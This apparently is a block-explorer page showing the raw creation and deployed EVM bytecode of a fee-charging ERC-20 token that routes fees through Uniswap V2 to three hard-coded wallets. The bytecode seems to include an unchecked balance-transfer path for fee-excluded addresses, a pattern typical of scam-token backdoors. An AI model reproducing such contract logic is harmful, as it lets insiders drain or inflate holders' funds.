5061026a610355366004611987565b610797565b34801561036657600080fd5b506102d17f000000000000000000000000000000000000000000000000000000000000000081565b34801561039a57600080fd5b5061026a6103a93660046119f4565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156103d357600080fd5b5061028f600381565b3480156103e857600080fd5b5061028f6103f73660046119f4565b6001600160a01b031660009081526020819052604090205490565b34801561041e57600080fd5b506104276107d3565b005b34801561043557600080fd5b506102d173cd6bf583c8452b809cba803d4bd9b041bb681fac81565b34801561045d57600080fd5b506005546001600160a01b03166102d1565b34801561047b57600080fd5b506102d17386902c74e742847ef15e539e5c2632c83f2ed29281565b3480156104a357600080fd5b50610234610809565b3480156104b857600080fd5b506104276104c7366004611a11565b610818565b3480156104d857600080fd5b5061026a6104e7366004611987565b6108d1565b3480156104f857600080fd5b5061026a610507366004611987565b61096a565b34801561051857600080fd5b5061026a6105273660046119f4565b60066020526000908152604090205460ff1681565b34801561054857600080fd5b506102d17341e33c2f07a74493fd7035acd490c688242e36c681565b34801561057057600080fd5b5060055461026a90600160a01b900460ff1681565b34801561059157600080fd5b506104276105a0366004611a11565b610977565b3480156105b157600080fd5b5061028f6105c0366004611a4f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105f757600080fd5b5061028f7f000000000000000000000000000000000000000000000000000000000000000081565b34801561062b57600080fd5b5061042761063a3660046119f4565b6109cc565b60606003805461064e90611a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461067a90611a7d565b80156106c75780601f1061069c576101008083540402835291602001916106c7565b820191906000526020600020905b8154815290600101906020018083116106aa57829003601f168201915b5050505050905090565b60006106de338484610a67565b5060015b92915050565b60006106f5848484610b8b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561077f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61078c8533858403610a67565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106de9185906107ce908690611acd565b610a67565b6005546001600160a01b031633146107fd5760405162461bcd60e51b815260040161077690611ae0565b61080760006110c1565b565b60606004805461064e90611a7d565b6005546001600160a01b031633146108425760405162461bcd60e51b815260040161077690611ae0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036108c35760405162461bcd60e51b815260206004820152601e60248201527f556e697377617020763220706169722064697361626c652064656e69656400006044820152606401610776565b6108cd8282611113565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109535760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610776565b6109603385858403610a67565b5060019392505050565b60006106de338484610b8b565b6005546001600160a01b031633146109a15760405162461bcd60e51b815260040161077690611ae0565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146109f65760405162461bcd60e51b815260040161077690611ae0565b6001600160a01b038116610a5b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610776565b610a64816110c1565b50565b6001600160a01b038316610ac95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610776565b6001600160a01b038216610b2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610776565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb15760405162461bcd60e51b815260040161077690611b15565b6001600160a01b038216610bd75760405162461bcd60e51b815260040161077690611b5a565b80600003610bf057610beb83836000611167565b505050565b6001600160a01b03831660009081526007602052604090205460ff1680610c2f57506001600160a01b03821660009081526007602052604090205460ff165b8015610c4457506001600160a01b0382163014155b8015610c5957506001600160a01b0383163014155b15610c635742600d555b6001600160a01b03831660009081526007602052604090205460ff168015610cbb575060076000610c9c6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205460ff16155b15610cd357610ccd838383600161127c565b50505050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d1557506001600160a01b03821660009081526007602052604090205460ff16155b15610d9a576001600160a01b03831660009081526006602052604090205460ff1615610d66576001600160a01b0382166000908152600c602052604081208054909103610d60574281555b50610d9a565b6001600160a01b0383166000908152600c60205260409020600d548154610d8d9190611b9d565b6002820155426001909101555b306000908152602081905260409020547f0000000000000000000000000000000000000000000000000000000000000000118015908190610dde5750600e5460ff16155b8015610e0357506001600160a01b03841660009081526006602052604090205460ff16155b8015610e2857506001600160a01b03841660009081526007602052604090205460ff16155b8015610e4d57506001600160a01b03831660009081526007602052604090205460ff16155b15610e7257600e805460ff19166001179055610e6761134c565b600e805460ff191690555b600e546001600160a01b03851660009081526007602052604090205460ff91821615911680610eb957506001600160a01b03841660009081526007602052604090205460ff165b15610ec2575060005b600081156110ae576001600160a01b03861660009081526006602052604090205460ff168015610ef0575060005b15610fb1576064610f02600086611bb0565b610f0c9190611bc7565b9050610f236000610f1d8184611bb0565b90611666565b60096000828254610f349190611acd565b90915550610f4990506000610f1d8184611bb0565b600a6000828254610f5a9190611acd565b90915550610f6f90506000610f1d8184611bb0565b60086000828254610f809190611acd565b90915550610f9590506000610f1d8184611bb0565b600b6000828254610fa69190611acd565b909155506110909050565b6001600160a01b03851660009081526006602052604090205460ff168015610fd7575060015b15611090576064610fe9600386611bb0565b610ff39190611bc7565b90506110056003610f1d600084611bb0565b600960008282546110169190611acd565b9091555061102c90506003610f1d600084611bb0565b600a600082825461103d9190611acd565b9091555061105290506003610f1d8184611bb0565b600860008282546110639190611acd565b9091555061107990506003610f1d600084611bb0565b600b600082825461108a9190611acd565b90915550505b80156110a1576110a1863083611167565b6110ab8185611b9d565b93505b6110b9868686611167565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661118d5760405162461bcd60e51b815260040161077690611b15565b6001600160a01b0382166111b35760405162461bcd60e51b815260040161077690611b5a565b6001600160a01b038316600090815260208190526040902054818110156111ec5760405162461bcd60e51b815260040161077690611be9565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611223908490611acd565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126f91815260200190565b60405180910390a3610ccd565b6001600160a01b0384166000908152602081905260408120548215156001146112b75760405162461bcd60e51b815260040161077690611be9565b6001600160a01b038087166000908152602081905260408082208785039055918716815290812080548692906112ee908490611acd565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161133a91815260200190565b60405180910390a35090949350505050565b3060009081526020819052604081205490506000600b54600a546008546009546113769190611acd565b6113809190611acd565b61138a9190611acd565b90506000821580611399575081155b156113a357505050565b6113ce7f0000000000000000000000000000000000000000000000000000000000000000601a611bb0565b831115611403576114007f0000000000000000000000000000000000000000000000000000000000000000601a611bb0565b92505b6000600283600954866114169190611bb0565b6114209190611bc7565b61142a9190611bc7565b905060006114388286611b9d565b90504761144482611679565b60006114508247611b9d565b9050600086600854836114639190611bb0565b61146d9190611bc7565b9050600087600a54846114809190611bb0565b61148a9190611bc7565b9050600088600b548561149d9190611bb0565b6114a79190611bc7565b9050600081836114b78688611b9d565b6114c19190611b9d565b6114cb9190611b9d565b60006009819055600a8190556008819055600b55905087158015906114f05750600081115b15611541576114ff8882611831565b60408051888152602081018390529081018990527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6040517386902c74e742847ef15e539e5c2632c83f2ed292908490600081818185875af1925050503d8060008114611595576040519150601f19603f3d011682016040523d82523d6000602084013e61159a565b606091505b50506040519099507341e33c2f07a74493fd7035acd490c688242e36c6908390600081818185875af1925050503d80600081146115f3576040519150601f19603f3d011682016040523d82523d6000602084013e6115f8565b606091505b505060405190995073cd6bf583c8452b809cba803d4bd9b041bb681fac904790600081818185875af1925050503d8060008114611651576040519150601f19603f3d011682016040523d82523d6000602084013e611656565b606091505b5050505050505050505050505050565b60006116728284611bc7565b9392505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116ae576116ae611c2f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190611c45565b8160018151811061176357611763611c2f565b60200260200101906001600160a01b031690816001600160a01b0316815250506117ae307f000000000000000000000000000000000000000000000000000000000000000084610a67565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611803908590600090869030904290600401611c62565b600060405180830381600087803b15801561181d57600080fd5b505af11580156110b9573d6000803e3d6000fd5b61185c307f000000000000000000000000000000000000000000000000000000000000000084610a67565b60405163f305d71960e01b81523060048201526024810183905260006044820181905260648201527341e33c2f07a74493fd7035acd490c688242e36c660848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af11580156118f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061191d9190611cd3565b5050505050565b600060208083528351808285015260005b8181101561195157858101830151858201604001528201611935565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6457600080fd5b6000806040838503121561199a57600080fd5b82356119a581611972565b946020939093013593505050565b6000806000606084860312156119c857600080fd5b83356119d381611972565b925060208401356119e381611972565b929592945050506040919091013590565b600060208284031215611a0657600080fd5b813561167281611972565b60008060408385031215611a2457600080fd5b8235611a2f81611972565b915060208301358015158114611a4457600080fd5b809150509250929050565b60008060408385031215611a6257600080fd5b8235611a6d81611972565b91506020830135611a4481611972565b600181811c90821680611a9157607f821691505b602082108103611ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106e2576106e2611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156106e2576106e2611ab7565b80820281158282048414176106e2576106e2611ab7565b600082611be457634e487b7160e01b600052601260045260246000fd5b500490565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c5757600080fd5b815161167281611972565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cb25784516001600160a01b031683529383019391830191600101611c8d565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ce857600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122064e078ea22a484890be4fe322433d33cf0093871221da75c347d09e8bbe6d99164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80639213691311610118578063bbc0c742116100a0578063dd62ed3e1161006f578063dd62ed3e146105a5578063e2f45605146105eb578063f11a24d31461027a578063f2fde38b1461061f578063f63743421461027a57600080fd5b8063bbc0c74214610564578063c024666814610585578063d46980161461053c578063d85ba0631461027a57600080fd5b8063a0d82dc5116100e7578063a0d82dc51461027a578063a457c2d7146104cc578063a9059cbb146104ec578063a9b232d91461050c578063b60eaaaa1461053c57600080fd5b806392136913146103c757806395d89b41146104975780639a7a23d6146104ac5780639c3b4fdc1461027a57600080fd5b80634fbee1931161019b578063715018a61161016a578063715018a61461041257806375f0a874146104295780637bce5a041461027a5780638da5cb5b146104515780638ea5220f1461046f57600080fd5b80634fbee1931461038e578063530612a11461027a5780636a486a8e146103c757806370a08231146103dc57600080fd5b806318160ddd116101e257806318160ddd146102e957806323b872dd146102fe578063313ce5671461031e578063395093511461033a57806349bd5a5e1461035a57600080fd5b806306fdde031461021f578063095ea7b31461024a5780630edaaa541461027a5780631694505e1461029d57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461063f565b6040516102419190611924565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611987565b6106d1565b6040519015158152602001610241565b34801561028657600080fd5b5061028f600081565b604051908152602001610241565b3480156102a957600080fd5b506102d17f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610241565b3480156102f557600080fd5b5060025461028f565b34801561030a57600080fd5b5061026a6103193660046119b3565b6106e8565b34801561032a57600080fd5b5060405160128152602001610241565b34801561034657600080fd5b5061026a610355366004611987565b610797565b34801561036657600080fd5b506102d17f000000000000000000000000137ca2c9712b37f0915181f5e01736a7074f123881565b34801561039a57600080fd5b5061026a6103a93660046119f4565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156103d357600080fd5b5061028f600381565b3480156103e857600080fd5b5061028f6103f73660046119f4565b6001600160a01b031660009081526020819052604090205490565b34801561041e57600080fd5b506104276107d3565b005b34801561043557600080fd5b506102d173cd6bf583c8452b809cba803d4bd9b041bb681fac81565b34801561045d57600080fd5b506005546001600160a01b03166102d1565b34801561047b57600080fd5b506102d17386902c74e742847ef15e539e5c2632c83f2ed29281565b3480156104a357600080fd5b50610234610809565b3480156104b857600080fd5b506104276104c7366004611a11565b610818565b3480156104d857600080fd5b5061026a6104e7366004611987565b6108d1565b3480156104f857600080fd5b5061026a610507366004611987565b61096a565b34801561051857600080fd5b5061026a6105273660046119f4565b60066020526000908152604090205460ff1681565b34801561054857600080fd5b506102d17341e33c2f07a74493fd7035acd490c688242e36c681565b34801561057057600080fd5b5060055461026a90600160a01b900460ff1681565b34801561059157600080fd5b506104276105a0366004611a11565b610977565b3480156105b157600080fd5b5061028f6105c0366004611a4f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105f757600080fd5b5061028f7f0000000000000000000000000000000000000000000c685fa11e01ec6f00000081565b34801561062b57600080fd5b5061042761063a3660046119f4565b6109cc565b60606003805461064e90611a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461067a90611a7d565b80156106c75780601f1061069c576101008083540402835291602001916106c7565b820191906000526020600020905b8154815290600101906020018083116106aa57829003601f168201915b5050505050905090565b60006106de338484610a67565b5060015b92915050565b60006106f5848484610b8b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561077f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61078c8533858403610a67565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106de9185906107ce908690611acd565b610a67565b6005546001600160a01b031633146107fd5760405162461bcd60e51b815260040161077690611ae0565b61080760006110c1565b565b60606004805461064e90611a7d565b6005546001600160a01b031633146108425760405162461bcd60e51b815260040161077690611ae0565b7f000000000000000000000000137ca2c9712b37f0915181f5e01736a7074f12386001600160a01b0316826001600160a01b0316036108c35760405162461bcd60e51b815260206004820152601e60248201527f556e697377617020763220706169722064697361626c652064656e69656400006044820152606401610776565b6108cd8282611113565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109535760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610776565b6109603385858403610a67565b5060019392505050565b60006106de338484610b8b565b6005546001600160a01b031633146109a15760405162461bcd60e51b815260040161077690611ae0565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146109f65760405162461bcd60e51b815260040161077690611ae0565b6001600160a01b038116610a5b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610776565b610a64816110c1565b50565b6001600160a01b038316610ac95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610776565b6001600160a01b038216610b2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610776565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb15760405162461bcd60e51b815260040161077690611b15565b6001600160a01b038216610bd75760405162461bcd60e51b815260040161077690611b5a565b80600003610bf057610beb83836000611167565b505050565b6001600160a01b03831660009081526007602052604090205460ff1680610c2f57506001600160a01b03821660009081526007602052604090205460ff165b8015610c4457506001600160a01b0382163014155b8015610c5957506001600160a01b0383163014155b15610c635742600d555b6001600160a01b03831660009081526007602052604090205460ff168015610cbb575060076000610c9c6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205460ff16155b15610cd357610ccd838383600161127c565b50505050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d1557506001600160a01b03821660009081526007602052604090205460ff16155b15610d9a576001600160a01b03831660009081526006602052604090205460ff1615610d66576001600160a01b0382166000908152600c602052604081208054909103610d60574281555b50610d9a565b6001600160a01b0383166000908152600c60205260409020600d548154610d8d9190611b9d565b6002820155426001909101555b306000908152602081905260409020547f0000000000000000000000000000000000000000000c685fa11e01ec6f000000118015908190610dde5750600e5460ff16155b8015610e0357506001600160a01b03841660009081526006602052604090205460ff16155b8015610e2857506001600160a01b03841660009081526007602052604090205460ff16155b8015610e4d57506001600160a01b03831660009081526007602052604090205460ff16155b15610e7257600e805460ff19166001179055610e6761134c565b600e805460ff191690555b600e546001600160a01b03851660009081526007602052604090205460ff91821615911680610eb957506001600160a01b03841660009081526007602052604090205460ff165b15610ec2575060005b600081156110ae576001600160a01b03861660009081526006602052604090205460ff168015610ef0575060005b15610fb1576064610f02600086611bb0565b610f0c9190611bc7565b9050610f236000610f1d8184611bb0565b90611666565b60096000828254610f349190611acd565b90915550610f4990506000610f1d8184611bb0565b600a6000828254610f5a9190611acd565b90915550610f6f90506000610f1d8184611bb0565b60086000828254610f809190611acd565b90915550610f9590506000610f1d8184611bb0565b600b6000828254610fa69190611acd565b909155506110909050565b6001600160a01b03851660009081526006602052604090205460ff168015610fd7575060015b15611090576064610fe9600386611bb0565b610ff39190611bc7565b90506110056003610f1d600084611bb0565b600960008282546110169190611acd565b9091555061102c90506003610f1d600084611bb0565b600a600082825461103d9190611acd565b9091555061105290506003610f1d8184611bb0565b600860008282546110639190611acd565b9091555061107990506003610f1d600084611bb0565b600b600082825461108a9190611acd565b90915550505b80156110a1576110a1863083611167565b6110ab8185611b9d565b93505b6110b9868686611167565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661118d5760405162461bcd60e51b815260040161077690611b15565b6001600160a01b0382166111b35760405162461bcd60e51b815260040161077690611b5a565b6001600160a01b038316600090815260208190526040902054818110156111ec5760405162461bcd60e51b815260040161077690611be9565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611223908490611acd565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126f91815260200190565b60405180910390a3610ccd565b6001600160a01b0384166000908152602081905260408120548215156001146112b75760405162461bcd60e51b815260040161077690611be9565b6001600160a01b038087166000908152602081905260408082208785039055918716815290812080548692906112ee908490611acd565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161133a91815260200190565b60405180910390a35090949350505050565b3060009081526020819052604081205490506000600b54600a546008546009546113769190611acd565b6113809190611acd565b61138a9190611acd565b90506000821580611399575081155b156113a357505050565b6113ce7f0000000000000000000000000000000000000000000c685fa11e01ec6f000000601a611bb0565b831115611403576114007f0000000000000000000000000000000000000000000c685fa11e01ec6f000000601a611bb0565b92505b6000600283600954866114169190611bb0565b6114209190611bc7565b61142a9190611bc7565b905060006114388286611b9d565b90504761144482611679565b60006114508247611b9d565b9050600086600854836114639190611bb0565b61146d9190611bc7565b9050600087600a54846114809190611bb0565b61148a9190611bc7565b9050600088600b548561149d9190611bb0565b6114a79190611bc7565b9050600081836114b78688611b9d565b6114c19190611b9d565b6114cb9190611b9d565b60006009819055600a8190556008819055600b55905087158015906114f05750600081115b15611541576114ff8882611831565b60408051888152602081018390529081018990527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6040517386902c74e742847ef15e539e5c2632c83f2ed292908490600081818185875af1925050503d8060008114611595576040519150601f19603f3d011682016040523d82523d6000602084013e61159a565b606091505b50506040519099507341e33c2f07a74493fd7035acd490c688242e36c6908390600081818185875af1925050503d80600081146115f3576040519150601f19603f3d011682016040523d82523d6000602084013e6115f8565b606091505b505060405190995073cd6bf583c8452b809cba803d4bd9b041bb681fac904790600081818185875af1925050503d8060008114611651576040519150601f19603f3d011682016040523d82523d6000602084013e611656565b606091505b5050505050505050505050505050565b60006116728284611bc7565b9392505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116ae576116ae611c2f565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190611c45565b8160018151811061176357611763611c2f565b60200260200101906001600160a01b031690816001600160a01b0316815250506117ae307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610a67565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611803908590600090869030904290600401611c62565b600060405180830381600087803b15801561181d57600080fd5b505af11580156110b9573d6000803e3d6000fd5b61185c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610a67565b60405163f305d71960e01b81523060048201526024810183905260006044820181905260648201527341e33c2f07a74493fd7035acd490c688242e36c660848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af11580156118f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061191d9190611cd3565b5050505050565b600060208083528351808285015260005b8181101561195157858101830151858201604001528201611935565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6457600080fd5b6000806040838503121561199a57600080fd5b82356119a581611972565b946020939093013593505050565b6000806000606084860312156119c857600080fd5b83356119d381611972565b925060208401356119e381611972565b929592945050506040919091013590565b600060208284031215611a0657600080fd5b813561167281611972565b60008060408385031215611a2457600080fd5b8235611a2f81611972565b915060208301358015158114611a4457600080fd5b809150509250929050565b60008060408385031215611a6257600080fd5b8235611a6d81611972565b91506020830135611a4481611972565b600181811c90821680611a9157607f821691505b602082108103611ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106e2576106e2611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156106e2576106e2611ab7565b80820281158282048414176106e2576106e2611ab7565b600082611be457634e487b7160e01b600052601260045260246000fd5b500490565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c5757600080fd5b815161167281611972565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cb25784516001600160a01b031683529383019391830191600101611c8d565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ce857600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122064e078ea22a484890be4fe322433d33cf0093871221da75c347d09e8bbe6d99164736f6c63430008130033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.